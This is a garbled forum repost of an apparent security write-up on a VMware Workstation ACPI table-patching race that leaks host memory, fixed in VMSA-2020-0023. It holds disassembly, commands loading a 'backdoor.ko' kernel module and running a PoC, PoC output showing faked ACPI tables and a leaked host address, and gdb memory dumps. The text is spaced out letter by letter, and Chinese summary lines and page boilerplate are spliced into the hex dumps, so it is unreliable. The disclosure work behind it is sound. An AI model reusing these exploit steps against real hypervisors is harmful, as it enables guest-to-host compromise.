0 0 0 0 0 0 0 1 D 9 C E D                                   m o v           w o r d   p t r   [ r 1 2 ] ,   ' O F ' . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C F 4                                   m o v           b y t e   p t r   [ r 1 2 + 2 ] ,   4 F h   ;   ' O ' . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C F A . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C F A   c a l c _ c h e c k s u m _ a f t e r _ p a t c h :                               . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C F A                                   c m p           [ r s p + 0 D 8 h + v a r _ B C ] ,   1 . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C F F                                   j n z           l o c _ 1 D 9 E 3 C . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 D 0 5                                   m o v           r a x ,   [ r s p + 0 D 8 h + d s d t ] . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 D 0 A                                   m o v           r 1 3 d ,   [ r a x + a c p i _ t a b l e _ h e a d e r . l e n g t h ]   ;   l e n g t h   f e t c h e d   a g a i n   f r o m   g u e s t   m e m o r y s t r u c t   a c p i _ t a b l e _ r s d p   {                 c h a r   s i g n a t u r e [ 8 ] ;                   / *   A C P I   s i g n a t u r e ,   c o n t a i n s   " R S D   P T R   "   * /                 u 8   c h e c k s u m ;                               / *   A C P I   1 . 0   c h e c k s u m   * / / *   . . .   s n i p   . . .   * /                 u 3 2   r s d t _ p h y s i c a l _ a d d r e s s ;   / *   3 2 - b i t   p h y s i c a l   a d d r e s s   o f   t h e   R S D T   * / / *   . . .   s n i p   . . .   * / } ;
$   s u d o   i n s m o d   b a c k d o o r . k o $   s u d o   . / p o c p o c :   [ + ]   S e t t i n g   o p e n - v m - t o o l s   v e r s i o n   t o   4 . 0 . 0   u s i n g   t o o l s . s e t . v e r s i o n p o c :   [ + ]   O v e r w r i t i n g   B I O S   m e m o r y   m a p p e d   @   0 x 7 f d d 1 2 f d 5 0 0 0 p o c :   [ + ]   T r i g e r r i n g   B D O O R _ C M D _ G E T M E M S I Z E   t o   g e t   R A M   s i z e . . . p o c :   [ + ]   V M   h i g h   m e m o r y   a d d r e s s   :   0 x 8 0 0 0 0 0 0 0 p o c :   [ + ]   F a k e   R o o t   S y s t e m   D e s c r i p t i o n   P o i n t e r   @   0 x E 0 0 0 0 R S D     @   0 x 0 0 0 0 0 0 0 0 0 0 0 E 0 0 0 0         0 0 0 0 :   5 2   5 3   4 4   2 0   5 0   5 4   5 2   2 0   7 3   0 0   0 0   0 0   0 0   0 0   0 0   0 0     R S D   P T R   s . . . . . . .         0 0 1 0 :   0 0   6 0   C 5   4 9                                                                             . ` . I p o c :   [ + ]   F a k e   R o o t   S y s t e m   D e s c r i p t i o n   T a b l e   @   0 x 4 9 C 5 6 0 0 0 R S D T   @   0 x 0 0 0 0 0 0 0 0 4 9 C 5 6 0 0 0         0 0 0 0 :   5 2   5 3   4 4   5 4   2 8   0 0   0 0   0 0   0 0   0 5   0 0   0 0   0 0   0 0   0 0   0 0     R S D T ( . . . . . . . . . . .         0 0 1 0 :   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     . . . . . . . . . . . . . . . .         0 0 2 0 :   0 0   0 0   0 0   0 0   2 8   6 0   C 5   4 9                                                     . . . . ( ` . I p o c :   [ + ]   F a k e   F i x e d   A C P I   D e s c r i p t i o n   T a b l e   @   0 x 4 9 C 5 6 0 2 8 F A C P   @   0 x 0 0 0 0 0 0 0 0 4 9 C 5 6 0 2 8         0 0 0 0 :   4 6   4 1   4 3   5 0   1 4   0 1   0 0   0 0   0 0   7 C   0 0   0 0   0 0   0 0   0 0   0 0     F A C P . . . . . | . . . . . .         0 0 1 0 :   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     . . . . . . . . . . . . . . . .         0 0 2 0 :   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   D 8   F F   F F   7 F   0 0   0 0   0 0   0 0     . . . . . . . . . . . . . . . .         0 0 3 0 :   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     . . . . . . . . . . . . . . . .         0 0 4 0 :   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     . . . . . . . . . . . . . . . .         0 0 5 0 :   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     . . . . . . . . . . . . . . . .         0 0 6 0 :   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     . . . . . . . . . . . . . . . .         0 0 7 0 :   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     . . . . . . . . . . . . . . . .         0 0 8 0 :   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     . . . . . . . . . . . . . . . .         0 0 9 0 :   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     . . . . . . . . . . . . . . . .         0 0 A 0 :   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     . . . . . . . . . . . . . . . .         0 0 B 0 :   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     . . . . . . . . . . . . . . . .         0 0 C 0 :   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     . . . . . . . . . . . . . . . .         0 0 D 0 :   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     . . . . . . . . . . . . . . . .         0 0 E 0 :   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     . . . . . . . . . . . . . . . .         0 0 F 0 :   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     . . . . . . . . . . . . . . . .
下 面 给 出 的 是 v m w a r e - v m x 进 程 的 主 机 堆 内 存 状 态 （ 2 G B 内 存 ） ： 总 结 总 结 目 前 ， V M w a r e 已 经 在 W o r k s t a t i o n   v 1 6 . 0 版 本 中 修 复 了 该 问 题 。 除 此 之 外 ， V M S A - 2 0 2 0 - 0 0 2 3 补 丁 还 修 复 了 我 的 同 事 L u c a s   L e o n g 报 告 的 E S X i 中 的 一 个 可 远 程 利 用 的 漏 洞 。 精 彩 推 荐 精 彩 推 荐         0 1 0 0 :   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     . . . . . . . . . . . . . . . .         0 1 1 0 :   0 0   0 0   0 0   0 0                                                                             . . . . p o c :   [ + ]   F a k e   D i f f e r e n t i a t e d   S y s t e m   D e s c r i p t i o n   T a b l e   @   0 x 7 F F F F F D 8 D S D T   @   0 x 0 0 0 0 0 0 0 0 7 F F F F F D 8         0 0 0 0 :   4 4   5 3   4 4   5 4   2 8   0 0   0 0   0 0   0 0   C 6   0 0   0 0   0 0   0 0   0 0   0 0     D S D T ( . . . . . . . . . . .         0 0 1 0 :   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     . . . . . . . . . . . . . . . .         0 0 2 0 :   0 0   0 0   0 0   0 0   5 F   5 3   3 1   0 0                                                     . . . . _ S 1 . p o c :   [ + ]   S t a r t i n g   t h r e a d   t o   c h a n g e   D S D T   l e n g t h   d u r i n g   r a c e . . . p o c :   [ + ]   T r i g g e r i n g   B D O O R _ C M D _ P A T C H _ A C P I _ T A B L E S   f r o m   C P L   0 . . . p o c :   [ + ]   L e a k i n g   c h e c k s u m   f o r   8   b y t e s   a d j a c e n t   t o   g u e s t   m e m o r y   m a p p i n g . . . . . . . . . . . . . . . . . . . . . . . . . . . A 5   A 5   A 5   7 5   C 7   4 8   4 8   4 8 p o c :   [ + ]   L e a k e d   h o s t   m e m o r y   a d d r e s s   :   0 x 7 f a e 3 0 0 0 0 0 2 0 g d b - p e d a $   v m m a p . . . 0 x 0 0 0 0 7 f a d b 0 0 0 0 0 0 0   0 x 0 0 0 0 7 f a e 3 0 0 0 0 0 0 0   r w - s             / v m e m   ( d e l e t e d ) 0 x 0 0 0 0 7 f a e 3 0 0 0 0 0 0 0   0 x 0 0 0 0 7 f a e 3 0 9 e a 0 0 0   r w - p             m a p p e d 0 x 0 0 0 0 7 f a e 3 0 9 e a 0 0 0   0 x 0 0 0 0 7 f a e 3 4 0 0 0 0 0 0   - - - p             m a p p e d . . . g d b - p e d a $   x / 1 0 g x   0 x 0 0 0 0 7 f a e 3 0 0 0 0 0 0 0 0 x 7 f a e 3 0 0 0 0 0 0 0 :   0 x 0 0 0 0 7 f a e 3 0 0 0 0 0 2 0             0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 x 7 f a e 3 0 0 0 0 0 1 0 :   0 x 0 0 0 0 0 0 0 0 0 0 9 e a 0 0 0             0 x 0 0 0 0 0 0 0 0 0 0 9 e a 0 0 0 0 x 7 f a e 3 0 0 0 0 0 2 0 :   0 x 0 0 0 0 0 0 0 2 0 0 0 0 0 0 0 0             0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 x 7 f a e 3 0 0 0 0 0 3 0 :   0 x 0 0 0 0 7 f a e 3 0 5 5 5 b 3 0             0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 x 7 f a e 3 0 0 0 0 0 4 0 :   0 x 0 0 0 0 7 f a e 3 0 2 6 3 8 6 0             0 x 0 0 0 0 7 f a e 3 0 2 7 8 e 4 0
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理